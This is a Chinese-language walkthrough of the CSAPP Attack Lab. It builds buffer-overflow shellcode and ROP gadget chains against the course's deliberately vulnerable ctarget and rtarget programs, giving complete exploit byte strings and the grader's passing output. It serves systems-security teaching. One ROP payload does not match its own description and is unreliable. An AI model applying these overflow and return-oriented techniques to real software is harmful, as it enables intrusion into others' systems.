这个实验要求在5个有不同安全漏洞的代码上进行攻击(一开始我还以为是要修复漏洞…),总共有两种攻击方式:

  • Code Injection Attacks(缓冲区溢出攻击)
  • Return-Oriented Programming(ROP攻击)

从CSAPP网站下载下来解压后一共有五个文件:

  • ctarget:一个容易遭受code injection攻击的可执行程序。
  • rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
  • cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
  • farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
  • hex2raw:一个生成攻击字符串的工具。

实验之前一定要阅读指导手册,还有GDB指南,对实验很有帮助。

Level1

要求我们输入一段字符串,通过缓冲区溢出改变函数的返回地址,定向到 touch1 函数
首先看看 test 函数:

  1. 0000000000401968 <test>:
  2. 401968: 48 83 ec 08 sub $0x8,%rsp
  3. 40196c: b8 00 00 00 00 mov $0x0,%eax
  4. 401971: e8 32 fe ff ff callq 4017a8 <getbuf>
  5. 401976: 89 c2 mov %eax,%edx
  6. 401978: be 88 31 40 00 mov $0x403188,%esi
  7. 40197d: bf 01 00 00 00 mov $0x1,%edi
  8. 401982: b8 00 00 00 00 mov $0x0,%eax
  9. 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
  10. 40198c: 48 83 c4 08 add $0x8,%rsp
  11. 401990: c3 retq

没有什么特别之处
我们再看下 getbuf 函数:

  1. 00000000004017a8 <getbuf>:
  2. 4017a8: 48 83 ec 28 sub $0x28,%rsp
  3. 4017ac: 48 89 e7 mov %rsp,%rdi
  4. 4017af: e8 8c 02 00 00 callq 401a40 <Gets>
  5. 4017b4: b8 01 00 00 00 mov $0x1,%eax
  6. 4017b9: 48 83 c4 28 add $0x28,%rsp
  7. 4017bd: c3 retq

首先创建一个 40 个字节的缓冲区( 0x28=40 ),然后通过Gets函数读取一个字符串到缓冲区。
我们先来查看一下stack的状态:

  1. (gdb) x/60b $rsp
  2. 0x5561dc78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  3. 0x5561dc80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  4. 0x5561dc88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  5. 0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  6. 0x5561dc98: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
  7. 0x5561dca0: 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
  8. 0x5561dca8: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  9. 0x5561dcb0: 0x24 0x1f 0x40 0x00

可以看到距离 %rsp 的第41,42,43字节处有一个值 761940 ,猜测这是一个返回地址,Ctrl+F查找
然而
CSAPP: Attacklab - 图1
忽然想起小端序的问题,所以这个地址应该是 401976
CSAPP: Attacklab - 图2
就是getbuf函数后一条指令的位置。
所以我们只需要通过缓冲区溢出来改变这个指令地址即可。

查看touch1的地址

  1. 00000000004017c0 <touch1>:
  2. 4017c0: 48 83 ec 08 sub $0x8,%rsp

构造我们的输入字符串

  1. 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 c0 17 40

前40位不重要

通过hex2raw生成攻击字符串并执行

  1. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ ./hex2raw < exploit1.txt > exploit1-raw.txt
  2. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ ./ctarget -q -i exploit1-raw.txt
  3. Cookie: 0x59b997fa
  4. Touch1!: You called touch1()
  5. Valid solution for level 1 with target ctarget
  6. PASS: Would have posted the following:
  7. user id bovik
  8. course 15213-f15
  9. lab attacklab
  10. result 1:PASS:0xffffffff:ctarget:1:11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 C0 17 40

通过!!!

Level2

这一关要我们从test跳转到另外一个函数 touch2 ,同时将我们自己的cookie作为参数传给 touch2 ,这个参数默认应该在%rdi中。
这一关我们不仅要修改跳转地址,还要插入一段代码进去执行,我们可以把这段代码插在缓冲区之中,然后将返回地址修改为我们代码的地址,并我们的代码中加入ret指令,使他最后返回到 touch2 的入口

我们需要插入的代码

  1. mov $0x59b997fa,%rdi
  2. pushq $0x4017ec
  3. retq

很简单,只用将cookie保存到%rdi,然后重新指定 touch2 的地址为返回地址即可
使用gcc与objdump生成机器指令

  1. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ gcc -c asscode.s
  2. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ objdump -d asscode.o
  3. asscode.o: file format elf64-x86-64
  4. Disassembly of section .text:
  5. 0000000000000000 <.text>:
  6. 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
  7. 7: 68 ec 17 40 00 pushq $0x4017ec
  8. c: c3 retq

把指令插在缓冲区

  1. 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55

和level1一样,前面40个字节,后面是我们指定的返回地址,这里我们要将他指定为我们的代码插入的位置,也就是缓存区的起始地址。

通过gdb查看%rep的值

  1. (gdb) print $rsp
  2. $2 = (void *) 0x5561dc78

所以最后四个字节应该是 78 dc 61 55
最后和level1一样执行

  1. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ ./ctarget -q -i exploit2-raw.txt
  2. Cookie: 0x59b997fa
  3. Touch2!: You called touch2(0x59b997fa)
  4. Valid solution for level 2 with target ctarget
  5. PASS: Would have posted the following:
  6. user id bovik
  7. course 15213-f15
  8. lab attacklab
  9. result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

Level3

这一关和level2差不多,只是这次传的参数是一个指针,其实差不多,我们先把cookie存在栈里面,然后把地址传给%rdi即可。
CSAPP: Attacklab - 图3
要注意函数hexmatch会使用栈上的空间,可能会覆盖我们的cookie
不过没关系,**sub 0x28 %rsp** ,咱给自己造个栈
所以我们嵌入的代码应该是

  1. movq $0x5561dc93,%rdi
  2. sub $0x28,%rsp
  3. pushq $0x4018fa
  4. retq

其中第一步传给%rdi的地址应该是你存放cookie的地址,一定要数清楚,我们还要把cookie使用ascii码转义,并在末尾添加 0x00 表示结束。

生成机器码

  1. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ objdump -d asscode.o
  2. asscode.o: file format elf64-x86-64
  3. Disassembly of section .text:
  4. 0000000000000000 <.text>:
  5. 0: 48 c7 c7 93 dc 61 55 mov $0x5561dc93,%rdi
  6. 7: 48 83 ec 28 sub $0x28,%rsp
  7. b: 68 fa 18 40 00 pushq $0x4018fa
  8. 10: c3 retq

最终写出入侵字串

  1. 48 c7 c7 93 dc 61 55 48 83 ec 28 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 78 dc 61 55

通过!!!

  1. ubuntu@VM-0-7-ubuntu:~/CSAPPlab/03-attacklab/target1$ ./ctarget -q -i exploit3-raw.txt
  2. Cookie: 0x59b997fa
  3. Touch3!: You called touch3("59b997fa")
  4. Valid solution for level 3 with target ctarget
  5. PASS: Would have posted the following:
  6. user id bovik
  7. course 15213-f15
  8. lab attacklab
  9. result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 93 DC 61 55 48 83 EC 28 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 78 DC 61 55

rtarget

1

rtarget要求我们进行ROP攻击,因为栈随机化,所以我们不能像之前一样指定地址,只能依靠代码中原有的gadget进行入侵。
我的想法是先把cookie pop到某个寄存器中,然后再mov到rdi里面。
参考了实验手册,检索了fram部分的代码后发现只有 58 可以使用,也就是 popq %rax
CSAPP: Attacklab - 图4
然后寻找到一段 movq %rax,%rdi 的指令。
CSAPP: Attacklab - 图5
这两个就是我们使用的gagget,地址分别是 0x4019ab 和· 0x4019a2。
将他们连续执行就会是如下情形:

  1. popq %rax
  2. nop
  3. ret
  4. movq %rax,%rdi
  5. ret

我们只用准备好pop出的数据和返回位置即可。
这里要注意栈是向高字节收缩,所以我们需要把我们的插入片段放在40字节缓冲区后面。
应该插入的代码如下

  1. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 17 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

前40个字节没有实际意义,后面指定返回地址与准备pop出的数据

2

有些复杂,直接贴出来了

  1. 35 39 62 39 39 37 66 61
  2. 00 00 00 00 00 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
  6. a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
  7. ab 19 40 00 00 00 00 00 /* pop %rax */
  8. 48 00 00 00 00 00 00 00
  9. dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
  10. 70 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
  11. 13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
  12. d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */
  13. a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
  14. fa 18 40 00 00 00 00 00
  15. 35 39 62 39 39 37 66 61 /* cookie string */
  16. 00 00 00 00 00 00 00 00